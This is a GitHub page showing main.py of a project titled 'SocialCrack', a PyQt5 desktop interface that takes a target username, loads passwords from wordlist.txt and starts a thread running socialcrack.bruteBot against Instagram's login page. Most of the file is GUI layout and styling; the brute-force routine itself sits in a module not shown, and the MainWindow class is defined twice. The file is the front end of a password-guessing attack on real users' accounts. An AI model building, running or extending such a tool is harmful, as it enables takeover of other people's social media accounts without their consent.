-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
257 lines (213 loc) · 8.37 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'untitled.ui'
#
# Created by: PyQt5 UI code generator 5.15.9
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtCore import QMutex, QObject, QThread, pyqtSignal, QPoint
from PyQt5.QtWidgets import *
from time import sleep
import sys
import socialcrack
class CustomStream(QObject):
message_written = pyqtSignal(str)
def write(self, text):
self.message_written.emit(str(text))
def flush(self):
pass
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName("Form")
Form.resize(933, 482)
# Create layout instances
main_layout = QVBoxLayout()
top_layout = QHBoxLayout()
input_layout = QHBoxLayout()
button_layout = QHBoxLayout()
# Create and configure widgets
self.textBrowser = QtWidgets.QTextBrowser(Form)
self.textBrowser.setObjectName("textBrowser")
self.label = QtWidgets.QLabel(Form)
font = QtGui.QFont()
font.setFamily("MS Reference Sans Serif")
font.setPointSize(12)
self.label.setFont(font)
self.label.setObjectName("label")
self.lineEdit = QtWidgets.QLineEdit(Form)
self.lineEdit.setObjectName("lineEdit")
self.label_2 = QtWidgets.QLabel(Form)
font = QtGui.QFont()
font.setFamily("MS Reference Sans Serif")
font.setPointSize(10)
self.label_2.setFont(font)
self.label_2.setObjectName("label_2")
self.pushButton = QtWidgets.QPushButton(Form, clicked=lambda: self.open_Sc())
self.pushButton.setObjectName("pushButton")
self.pushButton.setMinimumSize(120, 40) # Set a minimum size for the button
self.pushButton_2 = QtWidgets.QPushButton(Form, clicked=lambda: sys.exit(0))
self.pushButton_2.setObjectName("pushButton_2")
self.pushButton_2.setMinimumSize(120, 40) # Set a minimum size for the button
# Add widgets to the layouts
top_layout.addWidget(self.label)
top_layout.addWidget(self.textBrowser)
input_layout.addWidget(self.label_2)
input_layout.addWidget(self.lineEdit)
button_layout.addWidget(self.pushButton)
button_layout.addWidget(self.pushButton_2)
main_layout.addLayout(top_layout)
main_layout.addLayout(input_layout)
main_layout.addLayout(button_layout)
# Set the layout for the main window
Form.setLayout(main_layout)
# Connect custom output stream and redirect sys.stdout and sys.stderr
self.custom_stream = CustomStream()
self.custom_stream.message_written.connect(self.append_text)
sys.stdout = self.custom_stream
sys.stderr = self.custom_stream
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
def append_text(self, text):
self.textBrowser.moveCursor(QtGui.QTextCursor.End)
self.textBrowser.insertPlainText(text)
def open_Sc(self):
self.site = "https://www.instagram.com/accounts/login/"
self.efield = 'username'
self.pfield = 'password'
self.target = open("wordlist.txt", 'r')
self.readpass = self.target.readlines()
self.brute_bot_thread = BruteBotThread(self.lineEdit.text(), self.readpass, self.site, self.efield, self.pfield, 0)
self.brute_bot_thread.start()
def retranslateUi(self, Form):
_translate = QtCore.QCoreApplication.translate
Form.setWindowTitle(_translate("Form", "SocialCrack"))
self.label.setText(_translate("Form", "Console\n Output"))
self.label_2.setText(_translate("Form", "Username"))
self.pushButton.setText(_translate("Form", "Start"))
self.pushButton_2.setText(_translate("Form", "Stop"))
class BruteBotThread(QThread):
def __init__(self, username, password_list, site, efield, pfield, delay, parent=None):
super().__init__(parent)
self.username = username
self.password_list = password_list
self.site = site
self.efield = efield
self.pfield = pfield
self.delay = delay
def run(self):
exec = socialcrack.bruteBot(self.username, self.password_list, self.site, self.efield, self.pfield, self.delay)
exec.bruteforcer()
dark_stylesheet = """
QWidget {
background-color: #333333;
color: #FFFFFF;
}
QLineEdit {
background-color: #444444;
border: 1px solid #555555;
padding: 2px;
}
QPushButton {
background-color: #555555;
border: 1px solid #444444;
padding: 2px;
border-radius: 20px; /* Increase border-radius value */
}
QPushButton:hover {
background-color: #666666;
}
QPushButton:pressed {
background-color: #777777;
}
QTextBrowser {
background-color: #444444;
border: 1px solid #555555;
}
QLabel {
color: #FFFFFF;
}
"""
class TitleBar(QtWidgets.QWidget):
def __init__(self, parent=None):
super(TitleBar, self).__init__(parent)
self.setAutoFillBackground(True)
self.setFixedHeight(30)
self.parent = parent
layout = QHBoxLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
label = QLabel("SocialCrack")
layout.addWidget(label)
self.minimize_button = QToolButton(self)
self.minimize_button.setText("-")
self.minimize_button.clicked.connect(self.showMinimized)
layout.addWidget(self.minimize_button)
self.fullscreen_button = QToolButton(self) # Add fullscreen button
self.fullscreen_button.setText("[]")
self.fullscreen_button.clicked.connect(self.toggleFullscreen)
layout.addWidget(self.fullscreen_button)
self.close_button = QToolButton(self)
self.close_button.setText("x")
self.close_button.clicked.connect(self.close)
layout.addWidget(self.close_button)
def showMinimized(self):
self.parent.showMinimized()
def toggleFullscreen(self): # Add a method to toggle fullscreen
if self.parent.isFullScreen():
self.parent.showNormal()
else:
self.parent.showFullScreen()
def close(self):
self.parent.close()
class MainWindow(QtWidgets.QMainWindow):
def __init__(self, parent=None):
super(MainWindow, self).__init__(parent)
self.setWindowFlags(QtCore.Qt.FramelessWindowHint)
self.moving = False
self.offset = None
titlebar = TitleBar(self)
self.setMenuWidget(titlebar)
widget = QtWidgets.QWidget()
ui = Ui_Form()
ui.setupUi(widget)
self.setCentralWidget(widget)
class MainWindow(QtWidgets.QMainWindow):
def __init__(self, parent=None):
super(MainWindow, self).__init__(parent)
self.setWindowFlags(QtCore.Qt.FramelessWindowHint)
self.moving = False
self.resizing = False
self.offset = None
self.start_geometry = None
titlebar = TitleBar(self)
self.setMenuWidget(titlebar)
widget = QtWidgets.QWidget()
ui = Ui_Form()
ui.setupUi(widget)
self.setCentralWidget(widget)
def mousePressEvent(self, event):
if event.button() == QtCore.Qt.LeftButton:
self.start_geometry = self.geometry()
if event.pos().y() < self.height() - 15:
self.moving = True
self.offset = event.pos()
else:
self.resizing = True
self.offset = event.pos() - QtCore.QPoint(self.width(), self.height())
def mouseMoveEvent(self, event):
if self.moving:
self.move(event.globalPos() - self.offset)
elif self.resizing:
new_width = max(event.pos().x(), 100) # Minimum width: 100
new_height = max(event.pos().y(), 100) # Minimum height: 100
self.resize(new_width, new_height)
def mouseReleaseEvent(self, event):
if event.button() == QtCore.Qt.LeftButton:
self.moving = False
self.resizing = False
if __name__ == "__main__":
app = QtWidgets.QApplication(sys.argv)
app.setStyleSheet(dark_stylesheet)
main_window = MainWindow()
main_window.show()
sys.exit(app.exec_())